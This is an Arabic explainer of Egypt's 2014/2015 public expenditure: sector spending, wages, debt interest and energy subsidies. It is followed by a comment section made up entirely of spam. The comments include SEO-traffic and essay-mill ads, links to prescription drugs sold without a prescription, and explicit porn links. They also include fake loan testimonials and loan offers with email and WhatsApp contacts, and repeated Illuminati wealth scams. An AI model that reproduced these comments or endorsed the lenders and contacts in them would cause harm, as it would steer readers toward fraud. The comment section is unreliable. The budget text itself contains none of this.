...
ما هى المصروفات العامة ؟

هى مجموع ما تنفقه الدولة لتوفير الخدمات العامة للمواطن من صحة وتعليم وإسكان ومد للمرافق والاستثمار فى المشروعات العامة ودفع الأجور للعاملين بالدولة، ودعم أسعار السلع لتكون فى متناول الجميع لتحقيق العدالة الاجتماعية وتحسين مستوى المعيشة. وتنقسم المصروفات العامة إلى نوعين التصنيف الوظيفى والتصنيف الإقتصادى.

ما هى المصروفات العامة ؟
أين تذهب ضرائبك ؟

تقوم الدولة بإعادة إنفاق أموالك على الأنشطة والمشروعات والخدمات المقدمة للمواطنين فى مجالات عديدة من أجل تحقيق العدالة الاجتماعية وتحسين مستوى المعيشة والالتزام باستحقاقات الدستور بزيادة الإنفاق على الصحة (لتصل إلى 3% من الناتج المحلى)، والتعليم قبل الجامعى (ليصل إلى 4% من الناتج المحلى)، والتعليم الجامعى (ليصل إلى 2% من الناتج المحلى)، والبحث العلمى (ليصل إلى 1% من الناتج المحلى) على مدى ثلاث سنوات.

أين تذهب ضرائبك ؟
المصروفات العامة

من المتوقع أن تبلغ تقديرات المصروفات العامة فى موازنة العام المالى 2015/2014 نحو 789.4 مليار جنيه (32.8% من الناتج المحلى)، مقارنة بنحو 742.1 مليار جنيه فى الموازنة المعدلة للعام المالى 2014/2013.

إرتفع نصيب الفرد من إجمالى المصروفات فى موازنة 2015/2014 بحوالى ثلاث أضعاف مقارنة بالعام المالى 2008/2007.

المصروفات العامة
التصنيف الوظيفى

هو الإنفاق على القطاعات المختلفة مثل الصحة، التعليم، الحماية الإجتماعية، الخدمات العامة، الدفاع والأمن القومى، الشئون الإقتصادية، الشباب والثقافة والشئون الدينية، الإسكان والمرافق المجتمعية، حماية البيئة، النظام العام وشئون السلامة العامة.

التصنيف الوظيفى
قطاع التعليم
  • يبلغ الإنفاق على خدمات التعليم حوالى 94.4 مليار جنيه (12% من إجمالى الإنفاق)، مقابل 83.6 مليار جنيه بموازنة 2014/2013 المعدلة، يعنى الزيادة بـ12.9%.
  • التعليم قبل الجامعى يحصل على 72% من إجمالى الإنفاق على القطاع، بينما تصل الأجور ومرتبات العاملين نحو 85% من جملة نفقات القطاع. وإجمالى عدد الطلاب المستفيدين من خدمات التعليم بمراحله كلها حوالى 19 مليون طالب (18 مليون طالب فى التعليم قبل الجامعى يدرسون فى 52,402 مدرسة ومليون طالب فى التعليم الجامعى بـ23 جامعة). نصيب الطالب من إجمالى الإنفاق على التعليم سيصل نحو 5 الآف جنيه فى 2015/2014.
  • وإجمالى عدد الطلاب المستفيدين من خدمات التعليم بمراحله كلها حوالى 19 مليون طالب (18 مليون طالب فى التعليم قبل الجامعى يدرسون فى 52,402 مدرسة ومليون طالب فى التعليم الجامعى بـ23 جامعة). نصيب الطالب من إجمالى الإنفاق على التعليم سيصل نحو 5 الآف جنيه فى 2015/2014.
قطاع التعليم
قطاع الصحة
  • يبلغ الإنفاق على خدمات الصحة حوالى 42.4 مليار جنيه، (5.4% من إجمالى إنفاق الموازنة)، مقابل 33.5 مليار جنيه فى الموازنة المعدلة لعام 2014/2013.
  • وصل عدد المستشفيات العامة والجامعية إلى نحو 717 مستشفى و98.3 ألف سرير يخدم نحو 82 مليون مواطن (طبقاً للبيانات الصادرة عن الجهاز المركزى للتعبئة العامة والإحصاء). ويبلغ متوسط الإنفاق على الصحة لكل مواطن نحو 493 جنيه فى موازنة 2015/2014. 
  • إن الدستور الجديد يطالب الدولة بزيادة الإنفاق على الصحة والتعليم بصورة كبيرة خلال الثلاث سنوات القادمة وهو ما بدأت الدولة مراعاته عن طريق برنامج الإصلاح الاقتصادى لتوليد موارد تكفى لهذه الزيادات.
قطاع الصحة
قطاع الإسكان والمرافق المجتمعية
  • هل تعلم أن معظم الانفاق على الاستثمارات يتركز فى قطاع الإسكان والبنية التحتية ليبلغ حوالى 21.9 مليار جنيه (2.8% من إجمالى إنفاق الموازنة).
  • وقد تم إدراج منها حوالى 9.6 مليار جنيه لتمويل مشروع الإسكان الاجتماعى، وحوالى 9.7 مليار جنيه لمشروعات مياه الشرب والصرف الصحى، بالإضافة إلى 600 مليون جنيه لصندوق تطوير المناطق العشوائية.
قطاع الإسكان والمرافق المجتمعية
التصنيف الاقتصادى

هو يعرض بنود الإنفاق وفق البنود ومخصصات الصرف مثل الأجور وتعويضات العاملين، الدعم والمنح والمزايا الاجتماعية، الفوائد، شراء السلع والخدمات، والمصروفات الاخرى، والاستثمارات.

التصنيف الاقتصادى

أولاً : إصلاحات المنظومة الضريبية

تستحوذ الأجور وتعويضات العاملين على أكثر من ربع قيمة الإنفاق العام (26.3% من إجمالي المصروفات)، لحوالى 6.5 مليون موظف وبذلك يغطى إنفاق الأجور مصدر دخل لحوالى 24 مليون مواطن (العاملين وأسرهم). وبالنسبة لقيمة الأجور والمكافآت والحوافز فقد زادت بـ13% عن موازنة العام السابق المعدلة المقدرة بنحو 183.8 مليار جنيه لتبلغ حوالى 207.2 مليار جنيه بموازنة عام 2015/2014 وذلك بسبب:

  • استكمال منظومة الحد الأدنى للأجور وتحسين دخول الأطباء والمعلمين.
  • الزيادة الناتجة عن ضم العلاوة الخاصة لعام 2010/2009 إلى المرتب الأساسي في 2014/7/1.
  • تكاليف العمالة التي تم تثبيتها خلال الأعوام 2013/2012 و2014/2013. وبذلك يبلغ متوسط أجر الموظف بالقطاع الحكومى نحو 2,875 جنيه شهرياً.

ثانياً: شراء السلع والخدمات

هى النفقات التى تصرفها الحكومة لإدارة دولاب العمل الحكومي بما في ذلك مستلزمات الأدوية والأغذية، وتكاليف طبع الكتب المدرسية (حوالى 280 مليون كتاب مدرسى)، ونفقات صيانة المرافق والشبكات والطرق والكباري، وصيانة الآلات والمعدات ونفقات المياه والإنارة. وقد بلغت تقديرات شراء السلع والخدمات حوالى 33 مليار جنيه خلال موازنة عام 2015/2014 بزيادة 10% عن موازنة 2014/2013 المعدلة.

ثالثاً: الفوائد

هي الفوائد المستحقة على الإقتراض الحكومي بمعنى مصروفات خدمة الدين العام وتشمل فوائد على الأذون والسندات والقروض والتسهيلات سواء المحلية أو الأجنبية، وتقدر قيمة الفوائد بحوالي 199 مليار جنيه بموازنة عام 2015/2014 بزيادة نسبتها 9.3% عن موازنة العام السابق المعدلة؛ وبتمثل الفوائد نحو 25% من إجمالي المصروفات.

رابعاً: الدعم والمنح والمزايا الاجتماعية

  • تنظر الحكومة المصرية إلى مفهوم العدالة الإجتماعية بمفهوم واسع وشامل لكى تحارب الفقر وتحمى الفئات الأولى بالرعاية وترفع مستوى المعيشة. فقد عملت الحكومة على توفير جزء كبير من الموارد المطلوبة لتحقيق العدالة الإجتماعية من خلال تنفيذ برامج الإصلاح الإقتصادى، مثل ترشيد دعم الطاقة أو الإصلاح الضريبى اللى بيزيد عبء إصلاحه كلما إرتفعت الدخول.
  • كما قامت الحكومة بإتخاذ خطوات إصلاحية جادة لإعادة ترتيب أولويات الإنفاق، والتوزيع الجغرافى للإستثمارات، وتدعيم العدالة الضريبية، بالإضافة إلى زيادة الانفاق الاجتماعى.
  • بلغت تقديرات "الدعم والمنح والمزايا الاجتماعية" فى موازنة 2015/2014 حوالى 234 مليار جنيه بما يمثل 30% من إجمالى المصروفات. ويمثل دعم الطاقة (المواد البترولية والكهرباء) من أهم بنود الدعم.
دعم المواد البترولية

يقدر بحوالى 100.3 مليار جنيه بموازنة 2015/2014 بعد تحريك أسعار بعض المنتجات لترشيد الدعم. وسيتم تطبيق منظومة الكروت الذكية بشكل أفضل لكى نستهدف مستحقى الدعم. وعلى فكرة انت نصيبك من دعم المواد البترولية حوالى 1,190 جنيه سنوياً، لكن معظم الناس مش بتشعر به لأن معظمه بيستفيد منه أصحاب الدخول الأعلى، وعلشان كده الحكومة بترشد دعم الطاقة وتصرف هذه الموارد على برامج أخرى للبسطاء.

دعم المواد البترولية
دعم الكهرباء

دعم الكهرباء بموازنة 2015/2014 حوالى 27.2 مليار جنيه. وبالرغم من ضخامة مبلغ الدعم إلا أنه غير كاف لحل كامل لمشكلة إنقطاع الكهرباء، ولذلك قامت الحكومة بعدد من الإجراءات من ضمنها إنشاء محطات جديدة للكهرباء وإجراء صيانة لمحطات أخرى والتخطيط لإستخدام مصادر الطاقة الجديدة والمتجددة مثل الطاقة الشمسية.

دعم الكهرباء

خامساً: المصروفات الأخرى

تتمثل في اعتمادات مرتبطة بالمتطلبات القومية والتحويلات الجارية والتعويضات والغرامات، وقد قدر لها بموازنة العام المالي 2015/2014 حوالي 49 مليار جنيه مقارنة بـ38.3 مليار جنيه بموازنة 2014/2013 المعدلة.

سادساً: الاستثمارات "شراء الأصول غير المالية"

تبلغ تقديرات الاستثمارات بمشروع موازنة العام المالى 2015/2014 نحو 67.2 مليار جنيه. تم تخصيص جزء كبير من قيمة الاستثمارات فى قطاعات الصحة والتعليم وفقاً لما يقضى به دستور 2014، بإجمالى استثمارات بلغت 13.3 مليار جنيه. وقد تم الأخذ فى الإعتبار العدالة فى التوزيع الجغرافى للإستثمارات على أقاليم الجمهورية.

التوزيع الجغرافي للإستثمارات علي أقاليم جمهورية مصر العربية

تعريف ببعض القطاعات وفقاً للتقسيم الوظيفى للمصروفات

قطاع الخدمات العامة ويتمثل فى الأجهزة التشريعية والتنفيذية والشئون المالية والخارجية ومعاملات الدين العام
قطاع النظام العام وشئون السلامة العامة ويتمثل فى خدمات الشرطة والسجون والحماية ضد الحريق والمحاكم
قطاع الشئون الاقتصادية ويتمثل فى الزراعة والرى والإنتاج الحيوانى والصيد والوقود والطاقة والتعدين والصناعة والنقل والاتصالات والسياحة
قطاع حماية البيئة ويتمثل فى إدارة النفايات وتصريفها ومعالجتها والصرف الصحى ومعالجة التلوث
قطاع الحماية الإجتماعية ويتمثل فى المساندة الاجتماعية فى حالات العجز والشيخوخة والضمان الاجتماعى ومعاش الطفل ومعالجة البطالة والحماية الاجتماعية والدعم والمعاشات


Odell Shumway

Thursday, December 3, 2020

YOU NEED QUALITY VISITORS FOR YOUR: budget.gov.eg WE PROVIDE ORGANIC VISITORS BY KEYWORD FROM SEARCH ENGINES OR SOCIAL MEDIA YOU GET HIGH-QUALITY VISITORS - visitors from search engines - visitors from social media - visitors from any country you want CLAIM YOUR 24 HOURS FREE TEST => https://bit.ly/3mcgwMq

EnDfqj

Wednesday, December 2, 2020

Meds information sheet. Brand names. keflex cost https://keflex4u.top in US Some information about medication. Get information now.

Lola Duigan

Tuesday, December 1, 2020

Interested in getting traffic for your site at zero cost? Here are 5 high volume traffic sites where you can advertise your site absolutely free: https://bit.ly/5-sites-where-you-can-get-free-traffic

Antonio Markley

Tuesday, December 1, 2020

Promote your site FREE here!: http://bit.ly/free-ad-posting

Roglync

Tuesday, December 1, 2020

[url=https://www.chemcook.com/teresa-meets-the-swinger-life-a-double-penetration-to-make-ammends__trashed/]https://www.chemcook.com/teresa-meets-the-swinger-life-a-double-penetration-to-make-ammends__trashed/[/url] [url=https://www.doornight.com/cuckolding-ho-rides-and-sucks/]https://www.doornight.com/cuckolding-ho-rides-and-sucks/[/url] [url=https://www.mainmovs.com/homemade-bikini-contest-florida/]https://www.mainmovs.com/homemade-bikini-contest-florida/[/url] [url=https://www.masturbaza.com/556893-7min/]https://www.masturbaza.com/556893-7min/[/url] [url=https://www.vulpyx.com/tag/japanese-mother/]https://www.vulpyx.com/tag/japanese-mother/[/url]

Tricia

Monday, November 30, 2020

hi!,I like your writing so a lot! share we communicate extra approximately your article on AOL? I require an expert in this area to unravel my problem. May be that is you! Having a look ahead to look you. credit Score check

quick essay writer

Monday, November 30, 2020

you are in point off fact a excellent webmaster. The website loading velocity is amazing. It sort of feels that you aree doing anyy unique trick. Moreover, The contents are masterpiece. you've performed a great task on this matter! https://professionalessaywritingservice.com/ quick essay writer quick essay writer https://professionalessaywritingservice.com/ https://professionalessaywritingservice.com/

write my essay online

Monday, November 30, 2020

I know this if off topic but I'm looking into starting my own blog and was curious what all iss required to get setup? I'm assuming having a blog like yours would cost a pretty penny? I'm not very web savvy so I'm not 100% positive. Any tips or advice would be greatly appreciated. Thanks https://usaorderessayuk.com write my essay online write my essay online https://usaorderessayuk.com https://usaorderessayuk.com

essay writing service review

Sunday, November 29, 2020

Saved as a favorite, I really like your blog! https://cheapessaywritingserviceusa.com/ essay writing servicce review essay writing service review https://cheapessaywritingserviceusa.com/

paper writing website

Sunday, November 29, 2020

Great website. Plenty of helpful info here. I'm sending it tto a few buddies ans additionally sharing in delicious. Annd obviously, thanks to your sweat! https://ordertermpaper.com paper writing website paper writing website https://ordertermpaper.com https://ordertermpaper.com

PatrickCen

Sunday, November 29, 2020

[url=https://lexapro2020.top/]buy lexapro without prescription[/url]

college essay writing service

Sunday, November 29, 2020

Heya! I'm at work browsing your blog from my new iphone! Just wanted to say I love readiong through your blog and look forward to all your posts! Carry on thee superb work! https://argumentativeresearch.com college essay writing service college essay writing service https://argumentativeresearch.com https://argumentativeresearch.com

writing essays

Sunday, November 29, 2020

After checking out a number of thhe blog posts on your wweb site, I rreally aappreciate your wayy of blogging. I book marked it to my bookmark website list and will be checking back soon. Please visit my web site as well and tell me how you feel. https://writeargumentativeessay.com/ writing essays writing essays https://writeargumentativeessay.com

writing and essay

Sunday, November 29, 2020

Hey outstanding website! Does running a blog like this take a lot of work? I've absolutely no understanding oof coding but I was hoping to start my ownn blog soon. Anyways, if you have any recommenfations or tips for new blog owners please share. I know this is off topic however I simply wanted to ask. Cheers! https://highqualitywritingservice.com/ writing aand essay writing and essay https://highqualitywritingservice.com/ https://highqualitywritingservice.com/

best websites to write essays

Sunday, November 29, 2020

You're so cool! I don't think I have read through a single thing like this before. So wonderful to find somebody with unique thoughts on this topic. Seriously.. thank yyou for starting this up. This website iss one thing that is required on the web, someone with a bit of originality! https://writeessayformoney.com/ best websites to write essays best websites to write essays https://writeessayformoney.com

website to write essays

Sunday, November 29, 2020

Nice post. I was checking constzntly this blogg aand I'm impressed! Extremely helpful info specially the last part :) I care for such info much. I was looking for this particular information for a long time. Thank you and best of luck. https://orderessaycheap.com/ website to write essays websiteto write essays https://orderessaycheap.com/ https://orderessaycheap.com/

Darrell Kauffman

Saturday, November 28, 2020

YOU NEED QUALITY VISITORS FOR YOUR: budget.gov.eg WE PROVIDE ORGANIC VISITORS BY KEYWORD FROM SEARCH ENGINES OR SOCIAL MEDIA YOU GET HIGH-QUALITY VISITORS - visitors from search engines - visitors from social media - visitors from any country you want CLAIM YOUR 24 HOURS FREE TEST => https://bit.ly/3mcgwMq

Stevejzg

Saturday, November 28, 2020

Drugs prescribing information. Brand names. flagyl pills https://flagyl4u.top in US All trends of medicament. Get information now.

PatrickCen

Saturday, November 28, 2020

[url=https://lexapro2020.top/]buy lexapro[/url]

Rethabile Grace

Thursday, November 26, 2020

كل الشكر لمؤسسات ائتمان القروض لمساعدتي في الحصول على قرض بقيمة 135،000.00 دولارًا أمريكيًا ، بعد أن تعرضت للخداع 6 مرات من قبل أشخاص مزيفين يتظاهرون بأنهم مقرضون. اسمي رحاب النعمة أنا من جنوب إفريقيا وأعيش في مدينة جوهانسبرغ. قبل شهر كنت أبحث عن قرض عبر الإنترنت ورأيت مقرضًا مختلفًا للقروض على الإنترنت ومع بعض الشهادات المزيفة وتقدمت بطلب منهم وكل ما حصلت عليه هو المحتالون الذين تقدمت بهم إلى أكثر من 6 شركات وتم خداعي طوال الطريق. لذلك فقدت الأمل حتى قررت التحقق مرة أخرى مما إذا كنت سأجد المساعدة أثناء بحثي واستقررت للبحث عن شركة قروض شرعية وجدت هذه الشركة المسماة Loan Credit Institutions رأيت الكثير من الشهادات التي علق عليها الناس ولكن لأنني تعرضت للغش بشكل فردي ، اعتقدت أنها عملية احتيال ولكنني فعلت ما طُلب مني القيام به وانتظرت قرضي وأخبرني السيد إيليا في أقل من 48 ساعة أنني سأكون مع قرضي بأمان لم أصدق السبب اعتقدت أنها كانت أيضًا عملية احتيال ، لذا فقد كان ذلك اليوم هو وقت الليل في جنوب إفريقيا ونمت في صباح اليوم التالي عندما استيقظت تلقيت تنبيهًا من البنك الذي أتعامل معه يفيد بوجود أموال في حسابي ، وعلى الفور اتصلت بالمصرف الذي أتعامل معه للتأكيد وأخبرني مدير البنك أن آتي إلى البنك على الفور وذهبت على الفور تم فتح البنك حيث قام مدير البنك بفحص حسابي ورأينا مبلغ 135.000.00 دولار أمريكي وهو دولار أمريكي وشرحت لمديري أنني تقدمت بطلب للحصول على قرض عبر الإنترنت وكان مدير المصرف الذي أتعامل معه هو شو إذا كان لا يزال هناك شركة قروض حقيقية وشرعية عبر الإنترنت ، فأنا سعيد جدًا كل ذلك بفضل مؤسسات الائتمان التي قررت أن أكتب على الإنترنت لأنني رأيت أشخاصًا آخرين يفعلون ذلك ويشهدون حول هذه الشركة وهذا هو السبب في أنني أنشر هذه الرسالة عبر الإنترنت لأي شخص يحتاج إلى قرض حتى لو تعرضت للغش قبل التقدم من هذه الشركة وكن مطمئنًا أن هذه الشركة لن تخذلك. تحياتي لأي شخص يقرأ رسالتي ويمكنك الاتصال بهذه الشركة عبر البريد: loancreditinstitutions00@gmail.com يستخدمون أيضًا Whatsapp: +393510483991 مرة أخرى تحياتي لأي شخص يقرأ رسالتي وأدعو الله أن تكون سعيدًا كما أنا اليوم مع هذه الشركة لأنني أحضر المزيد من الأشخاص إلى هذه الشركة للمساعدة. أبلغ الشركة أن Rethabile Grace وجهتك إليهم

Rethabile Grace

Thursday, November 26, 2020

كل الشكر لمؤسسات ائتمان القروض لمساعدتي في الحصول على قرض بقيمة 135،000.00 دولارًا أمريكيًا ، بعد أن تعرضت للخداع 6 مرات من قبل أشخاص مزيفين يتظاهرون بأنهم مقرضون. اسمي رحاب النعمة أنا من جنوب إفريقيا وأعيش في مدينة جوهانسبرغ. قبل شهر كنت أبحث عن قرض عبر الإنترنت ورأيت مقرضًا مختلفًا للقروض على الإنترنت ومع بعض الشهادات المزيفة وتقدمت بطلب منهم وكل ما حصلت عليه هو المحتالون الذين تقدمت بهم إلى أكثر من 6 شركات وتم خداعي طوال الطريق. لذلك فقدت الأمل حتى قررت التحقق مرة أخرى مما إذا كنت سأجد المساعدة أثناء بحثي واستقررت للبحث عن شركة قروض شرعية وجدت هذه الشركة المسماة Loan Credit Institutions رأيت الكثير من الشهادات التي علق عليها الناس ولكن لأنني تعرضت للغش بشكل فردي ، اعتقدت أنها عملية احتيال ولكنني فعلت ما طُلب مني القيام به وانتظرت قرضي وأخبرني السيد إيليا في أقل من 48 ساعة أنني سأكون مع قرضي بأمان لم أصدق السبب اعتقدت أنها كانت أيضًا عملية احتيال ، لذا فقد كان ذلك اليوم هو وقت الليل في جنوب إفريقيا ونمت في صباح اليوم التالي عندما استيقظت تلقيت تنبيهًا من البنك الذي أتعامل معه يفيد بوجود أموال في حسابي ، وعلى الفور اتصلت بالمصرف الذي أتعامل معه للتأكيد وأخبرني مدير البنك أن آتي إلى البنك على الفور وذهبت على الفور تم فتح البنك حيث قام مدير البنك بفحص حسابي ورأينا مبلغ 135.000.00 دولار أمريكي وهو دولار أمريكي وشرحت لمديري أنني تقدمت بطلب للحصول على قرض عبر الإنترنت وكان مدير المصرف الذي أتعامل معه هو شو إذا كان لا يزال هناك شركة قروض حقيقية وشرعية عبر الإنترنت ، فأنا سعيد جدًا كل ذلك بفضل مؤسسات الائتمان التي قررت أن أكتب على الإنترنت لأنني رأيت أشخاصًا آخرين يفعلون ذلك ويشهدون حول هذه الشركة وهذا هو السبب في أنني أنشر هذه الرسالة عبر الإنترنت لأي شخص يحتاج إلى قرض حتى لو تعرضت للغش قبل التقدم من هذه الشركة وكن مطمئنًا أن هذه الشركة لن تخذلك. تحياتي لأي شخص يقرأ رسالتي ويمكنك الاتصال بهذه الشركة عبر البريد: loancreditinstitutions00@gmail.com يستخدمون أيضًا Whatsapp: +393510483991 مرة أخرى تحياتي لأي شخص يقرأ رسالتي وأدعو الله أن تكون سعيدًا كما أنا اليوم مع هذه الشركة لأنني أحضر المزيد من الأشخاص إلى هذه الشركة للمساعدة. أبلغ الشركة أن Rethabile Grace وجهتك إليهم

buy your essay online

Thursday, November 26, 2020

I amm really glad to read this weeb site posts which carries plenty of valuable information, thanks for providing these kinds of statistics. https://writingmypaper.com/buy-essay-online buy your essay online buy essay books online https://writingmypaper.com/buy-essay-online

best essay writing service

Thursday, November 26, 2020

Howdy very nice blog!! Man .. Excellent .. Superb .. I will bookmark your web site and take the feeds also? I'm glad to serch out so many helpdul ihfo here in the publish, we need work ouut extra strategies on this regard, thank you for sharing. . . . . . https://buyingtermpaper.com best essay writing service best eessay writing service https://buyingtermpaper.com https://buyingtermpaper.com

buy cheap essay papers

Thursday, November 26, 2020

Great post. I used too be checking constantly this weblog and I'm impressed! Very useful information specifically the remaining section :)I take care off such information a lot. I was looking for this certain information for a very lejgthy time. Thank you and good luck. https://buyanessayonlinecheap.com buy cheap essay papers buy cheap essay papers https://buyanessayonlinecheap.com https://buyanessayonlinecheap.com

top essay writing websites

Thursday, November 26, 2020

whoah this weblog is great i love studying your posts. Stay up the great work! You recognize, lots of people are looking round for this information, you can help them greatly. https://buyessayonlinesafe.com top essay writing websites top essay writing websites https://buyessayonlinesafe.com https://buyessayonlinesafe.com

Oman Investors

Wednesday, November 25, 2020

2٪ قرض ميسور التكلفة. تفقد النوم في الرعاية الليلية حول كيفية الحصول على قرض. كنت تبحث عن قرض لدفع فواتيرك. كنت تبحث عن قرض لشراء سيارة. كنت تبحث عن قرض لتوسيع شكل مشروعك. راسلنا عبر البريد الإلكتروني: oman_insurance_investors@outlook.com أو whatsapp + 2348088010385

Alli Musa

Wednesday, November 25, 2020

2 ٪ الائتمان المقدمة مقبولة الآن * هناك حاليًا العديد من الأسباب التي تدفعنا إلى الحصول على الائتمان: توحيد الديون بمعدل أفضل ، تحسين المنزل الذي حلمت به ، تمويل السيارة ، بدء نشاط تجاري ، قيادة عطلة كبيرة ، التخطيط للمشاركة في حفلات الزفاف ، بعض النفقات الطبية غير المتوقعة أو ربما بعض سبب آخر معا. بغض النظر عن الأسباب الخاصة بك ، فمن المرجح أن تكون طريقة بسيطة ومعقولة للحصول على قرض بالإضافة إلى المال لحسابك المصرفي. البريد الإلكتروني اليوم: oman_insurance_investors@outlook.com

Alli Musa

Wednesday, November 25, 2020

2 ٪ الائتمان المقدمة مقبولة الآن * هناك حاليًا العديد من الأسباب التي تدفعنا إلى الحصول على الائتمان: توحيد الديون بمعدل أفضل ، تحسين المنزل الذي حلمت به ، تمويل السيارة ، بدء نشاط تجاري ، قيادة عطلة كبيرة ، التخطيط للمشاركة في حفلات الزفاف ، بعض النفقات الطبية غير المتوقعة أو ربما بعض سبب آخر معا. بغض النظر عن الأسباب الخاصة بك ، فمن المرجح أن تكون طريقة بسيطة ومعقولة للحصول على قرض بالإضافة إلى المال لحسابك المصرفي. البريد الإلكتروني اليوم: oman_insurance_investors@outlook.com

Stevemnf

Wednesday, November 25, 2020

Drug information. Long-Term Effects. cost of nexium https://nexium4u.top in US Some what you want to know about pills. Read information now.

Bill

Wednesday, November 25, 2020

I am in fact pleased to glance aat this web site posts wwhich carries lots of helpful facts, thanks for providing such data. https://buyessaywritingservice.com scholarship essay writing service scholarshipessay writing service https://buyessaywritingservice.com

Martin Davidson

Wednesday, November 25, 2020

مرحبًا ، هل تريد الانضمام إلى المتنورين وأن تكون غنيًا ومشهورًا وقويًا؟ لبقيه عمرك ؟ الفوائد الممنوحة للعضو الجديد الذي ينضم إلى جماعة الإخوان المتنورين !!! في حسابك المصرفي 50،000،000 دولار أمريكي ...... الراتب الأسبوعي 600000 دولار ......... سعر السيارة 400.000 دولار ....... عقد بقيمة 200.000.000 دولار أمريكي ....... منزل في أي بلد من اختيارك. وتأشيرة مجانية لبلد أحلامك. تغيرات نمط الحياة الإجمالية ؟؟ إذا كنت مهتمًا ، WhatsApp عبر: +33758476136 https://wa.link/d4ml2g أو مراسلتنا عبر البريد الإلكتروني على: illuminatitemle666@gmail.com ، حتى نتمكن من بدء عملية الانضمام !!!

Martin Davidson

Wednesday, November 25, 2020

مرحبًا ، هل تريد الانضمام إلى المتنورين وأن تكون غنيًا ومشهورًا وقويًا؟ لبقيه عمرك ؟ الفوائد الممنوحة للعضو الجديد الذي ينضم إلى جماعة الإخوان المتنورين !!! في حسابك المصرفي 50،000،000 دولار أمريكي ...... الراتب الأسبوعي 600000 دولار ......... سعر السيارة 400.000 دولار ....... عقد بقيمة 200.000.000 دولار أمريكي ....... منزل في أي بلد من اختيارك. وتأشيرة مجانية لبلد أحلامك. تغيرات نمط الحياة الإجمالية ؟؟ إذا كنت مهتمًا ، WhatsApp عبر: +33758476136 https://wa.link/d4ml2g أو مراسلتنا عبر البريد الإلكتروني على: illuminatitemle666@gmail.com ، حتى نتمكن من بدء عملية الانضمام !!!

Martin Davidson

Wednesday, November 25, 2020

مرحبًا ، هل تريد الانضمام إلى المتنورين وأن تكون غنيًا ومشهورًا وقويًا؟ لبقيه عمرك ؟ الفوائد الممنوحة للعضو الجديد الذي ينضم إلى جماعة الإخوان المتنورين !!! في حسابك المصرفي 50،000،000 دولار أمريكي ...... الراتب الأسبوعي 600000 دولار ......... سعر السيارة 400.000 دولار ....... عقد بقيمة 200.000.000 دولار أمريكي ....... منزل في أي بلد من اختيارك. وتأشيرة مجانية لبلد أحلامك. تغيرات نمط الحياة الإجمالية ؟؟ إذا كنت مهتمًا ، WhatsApp عبر: +33758476136 https://wa.link/d4ml2g أو مراسلتنا عبر البريد الإلكتروني على: illuminatitemle666@gmail.com ، حتى نتمكن من بدء عملية الانضمام !!!

Martin Davidson

Wednesday, November 25, 2020

مرحبًا ، هل تريد الانضمام إلى المتنورين وأن تكون غنيًا ومشهورًا وقويًا؟ لبقيه عمرك ؟ الفوائد الممنوحة للعضو الجديد الذي ينضم إلى جماعة الإخوان المتنورين !!! في حسابك المصرفي 50،000،000 دولار أمريكي ...... الراتب الأسبوعي 600000 دولار ......... سعر السيارة 400.000 دولار ....... عقد بقيمة 200.000.000 دولار أمريكي ....... منزل في أي بلد من اختيارك. وتأشيرة مجانية لبلد أحلامك. تغيرات نمط الحياة الإجمالية ؟؟ إذا كنت مهتمًا ، WhatsApp عبر: +33758476136 https://wa.link/d4ml2g أو مراسلتنا عبر البريد الإلكتروني على: illuminatitemle666@gmail.com ، حتى نتمكن من بدء عملية الانضمام !!!

Martin Davidson

Wednesday, November 25, 2020

مرحبا!!! هل تريد أن تكون عضوًا في المتنورين وتبدأ في تلقي 50000000 دولار شهريًا وأن تكون مشهورًا من بين آخرين ولديك ثروات وشهرة وقوى ، فهذه هي الفرصة الوحيدة لأكون من المتنورين .. لقد تم إرسالها من قبل الماسوني العالي رئيس لإحضار 32 عضوًا إلى Illminati ، لقد حصلت على 22 ، لذلك أبحث عن 10 ، لذا حاول أن تكون من بين العشرة أشخاص ليكونوا أثرياء ومشاهير ، إذا كنت مهتمًا ، WhatsApp us: +33758476136 ، https: // wa.link/d4ml2g البريد الإلكتروني: illuminatiword0666@gmail.com حتى نتمكن من بدء عملية الانضمام !!!

Sophie

Wednesday, November 25, 2020

Great post however , I was wondering if you could rite a litte more on this subject? I'd be very thankful if you could elaborate a little bit further. Thank you! https://buyessayonlinereviews.com/ top rated essay writing service top rated essay writing service https://buyessayonlinereviews.com

Bernadette

Wednesday, November 25, 2020

I abbsolutely loive your website.. Pleasant colors & theme. Did you make this amazing sitre yourself? Please reeply back as I'm wanting to create my own personal website and want to learn where you got this from or exctly what the theme is named. Appreciate it! https://ordertermpaperonline.com buy custom essay buy custom essay https://ordertermpaperonline.com/

Emily

Wednesday, November 25, 2020

you are in point of fasct a good webmaster. The web site loading pace is incredible. It kindd of feels that you're doing any unique trick. In addition, The contents are masterpiece. you've performed a wonderful process in this subject! https://essayserviceusukua.com/ academic eesay writing service academic essay writing service https://essayserviceusukua.com

Wendi

Tuesday, November 24, 2020

I have bren surfing online more than 3 hours today, yet I never found any interesting artticle like yours. It is pretty worth enough for me. In my opinion, if all site owners and bloggers made goold content as you did, the web will be a lot more useful thhan ever before. https://buyessayonlineforcheap.com dissertation writers uk dissertation writers uk https://buyessayonlineforcheap.com/

Shanna Lilley

Tuesday, November 24, 2020

Good evening, I was just checking out your website and filled out your "contact us" form. The "contact us" page on your site sends you messages like this via email which is why you are reading my message right now right? That's half the battle with any type of advertising, making people actually READ your ad and this is exactly what you're doing now! If you have an ad message you would like to blast out to lots of websites via their contact forms in the US or anywhere in the world let me know, I can even target specific niches and my prices are super low. Write an email to: DerrickJayceef47043@gmail.com I want off this list now https://bit.ly/356b7P8

Jared

Tuesday, November 24, 2020

Good way of explaining, and good article to tak daa regarding myy presentation subject matter, which i am going to deliver in academy. https://writepapersforme.com cheap research paper writig service cheap research paper writing service https://writepapersforme.com

Maximilian

Tuesday, November 24, 2020

WOW just what I was looking for. Came here by searching for essay writing service https://essaygood.com best essay writing service uk best essay writing servvice uk (Maximilian) https://essaygood.com/ https://essaygood.com

custom writing service

Tuesday, November 24, 2020

Sweet blog! I found it while surfing around on Yahoo News. Do you have any suggestions on how to get listed in Yahoo News? I've been trying for a while but I never seem to geet there! Cheers https://orderessayonlineuk.com/ custom writing service custom writing service https://orderessayonlineuk.com/ https://orderessayonlineuk.com/

cheap essay writing service usa

Tuesday, November 24, 2020

Pretty section of content. I just stumbled upon your web site and in accession capital too assert that I get actually enjoyed account your blog posts. Anyway I'll be subscribing to your augment and even I achievement you access consistently fast. https://collegepaperwriting.com cheap essay writing service usa cheap essay writing service usa https://collegepaperwriting.com

Bertha

Tuesday, November 24, 2020

It's reaply a cool and helpful piece of information. I am glad that you simply shared this useeful infco with us. Please keep us up to date like this. Thank you forr sharing. https://orderessayusukau.com best essay writing service reviews best essay writing service reviews https://orderessayusukau.com

